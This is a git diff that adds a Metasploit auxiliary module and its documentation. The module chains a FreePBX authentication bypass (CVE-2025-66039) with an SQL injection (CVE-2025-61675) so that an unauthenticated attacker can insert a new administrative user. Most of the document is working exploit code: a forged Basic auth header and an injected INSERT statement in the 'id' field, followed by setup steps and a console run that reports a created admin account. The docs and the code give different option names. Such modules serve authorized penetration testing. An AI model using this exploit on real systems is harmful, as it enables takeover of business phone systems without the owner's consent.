diff --git a/documentation/modules/auxiliary/gather/freepbx_custom_extension_injection.md b/documentation/modules/auxiliary/gather/freepbx_custom_extension_injection.md new file mode 100644 index 0000000000000..39ab4946b8c1d --- /dev/null +++ b/documentation/modules/auxiliary/gather/freepbx_custom_extension_injection.md @@ -0,0 +1,66 @@ +## Vulnerable Application + +FreePBX is an open-source IP PBX management tool that provides a modern phone system for businesses +that use VoIP to make and receive phone calls. +Versions prior to 16.0.44 and 17.0.23 are vulnerable to multiple CVEs, specifically CVE-2025-66039 and +CVE-2025-61675, in the context of this module. The former represents an authentication bypass: when +FreePBX uses Webserver Authorization Mode (an option the admin can enable), it allows an attacker to +authenticate as any user. The latter CVE describes multiple SQL injections; this module exploits the +SQL injection in the custom extension component. +The module chains these vulnerabilities into an unauthenticated SQL injection attack that creates a +new administrative user. + +To setup the environment, perform minimal installation from [here](https://downloads.freepbxdistro.org/ISO/SNG7-PBX16-64bit-2302-1.iso). +Note that **Authorization Type** needs to be set to **webserver**: + +1. Log into FreePBX Administration +1. Settings -> Advanced Settings +1. Change **Authorization Type** to **webserver** + +Finally, the FreePBX needs to be activated to access vulnerable APIs: + +1. Log into FreePBX Administraton +1. Admin -> System Admin +1. Activate instance + +## Verification Steps + +1. Install FreePBX +1. Start msfconsole +1. Do: `use auxiliary/gather/freepbx_custom_extension_injection` +1. Do: `set RHOSTS [target IP address]` +1. Do: `set USERNAME [FreePBX user]` +1. Do: `set FAKE_USERNAME [new username]` +1. Do: `set FAKE_PASSWORD [new password]` +1. Do: `run` + + +## Options + +### NEW_USERNAME + +Username for new administrative user. + +### NEW_PASSWORD + +Password for new administrative user. + +### USERNAME + +Performing authentication bypass requires the username of an existing user. + +## Scenarios + +``` +msf auxiliary(gather/freepbx_custom_extension_injection) > set rhosts 192.168.168.223 +rhosts => 192.168.168.223 +msf auxiliary(gather/freepbx_custom_extension_injection) > set fake_username msfuser1 +fake_username => msfuser1 +smsf auxiliary(gather/freepbx_custom_extension_injection) > set fake_password msflab +fake_password => msflab +msf auxiliary(gather/freepbx_custom_extension_injection) > run verbose=true +[*] Running module against 192.168.168.223 +[*] Trying to create new fake user +[+] New admin account: msfuser1/msflab +[*] Auxiliary module execution completed +``` diff --git a/modules/auxiliary/gather/freepbx_custom_extension_injection.rb b/modules/auxiliary/gather/freepbx_custom_extension_injection.rb new file mode 100644 index 0000000000000..e44ddd8daa35c --- /dev/null +++ b/modules/auxiliary/gather/freepbx_custom_extension_injection.rb @@ -0,0 +1,100 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'FreePBX Custom Extension SQL Injection', + 'Description' => %q{ + FreePBX versions prior to 16.0.44 and 17.0.23 are vulnerable to multiple CVEs, specifically CVE-2025-66039 and CVE-2025-61675, in the context of this module. The former represents an authentication bypass: when FreePBX uses Webserver Authorization Mode (an option the admin can enable), it allows an attacker to authenticate as any user. The latter CVE describes multiple SQL injections; this module exploits the SQL injection in the custom extension component. The module chains these vulnerabilities into an unauthenticated SQL injection attack that creates a new administrative user. + }, + 'Author' => [ + 'Noah King', # research + 'msutovsky-r7', # module + ], + 'License' => MSF_LICENSE, + 'References' => [ + [ 'CVE', '2025-66039'], # Authentication Bypass + [ 'CVE', '2025-61675'], # SQL injections + [ 'URL', 'https://horizon3.ai/attack-research/the-freepbx-rabbit-hole-cve-2025-66039-and-others/'] + ], + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [], + 'SideEffects' => [IOC_IN_LOGS] + } + ) + ) + register_options([ + OptString.new('USERNAME', [true, 'A valid FreePBX user']), + OptString.new('NEW_USERNAME', [false, 'Username for inserted user']), + OptString.new('NEW_PASSWORD', [false, 'Password for inserted user']), + ]) + end + + def run + username = datastore['NEW_USERNAME'] || Rex::Text.rand_text_alphanumeric(rand(4..10)) + password = datastore['NEW_PASSWORD'] || Rex::Text.rand_text_alphanumeric(rand(6..12)) + + print_status('Trying to create new administrative user') + res = custom_extension_injection(username, Digest::SHA1.hexdigest(password)) + + fail_with(Failure::PayloadFailed, 'Failed to create administrative user') unless res&.code == 401 + + if valid_admin_creds?(username, password) + print_good("New admin account: #{username}/#{password}") + else + print_error('Failed to create new user') + end + end + + def valid_admin_creds?(username, password) + res = send_request_cgi({ + 'uri' => normalize_uri('admin', 'ajax.php'), + 'method' => 'POST', + 'vars_get' => { + 'module' => 'userman', + 'command' => 'checkPasswordReminder' + }, + 'headers' => { Referer: full_uri(normalize_uri('admin', 'config.php')) }, + 'vars_post' => { + 'username' => username, + 'password' => Rex::Text.encode_base64(password), + 'loginpanel' => 'admin' + } + }) + + return false unless res&.code == 200 + + json_data = res.get_json_document + + return false unless json_data['status'] == true && json_data['message'] == '' && json_data['usertype'] == 'admin' + + true + end + + def custom_extension_injection(username, password) + send_request_cgi({ + 'uri' => normalize_uri('admin', 'config.php'), + 'method' => 'POST', + 'headers' => { + 'Authorization' => basic_auth(datastore['USERNAME'], Rex::Text.rand_text_alphanumeric(6)) + }, + 'vars_get' => { + 'display' => 'endpoint', + 'view' => 'customExt' + }, + 'vars_post' => { + 'id' => %<1';INSERT INTO ampusers (username, password_sha1, sections) VALUES ('#{username}', '#{password}', '*')#> + } + }) + end + +end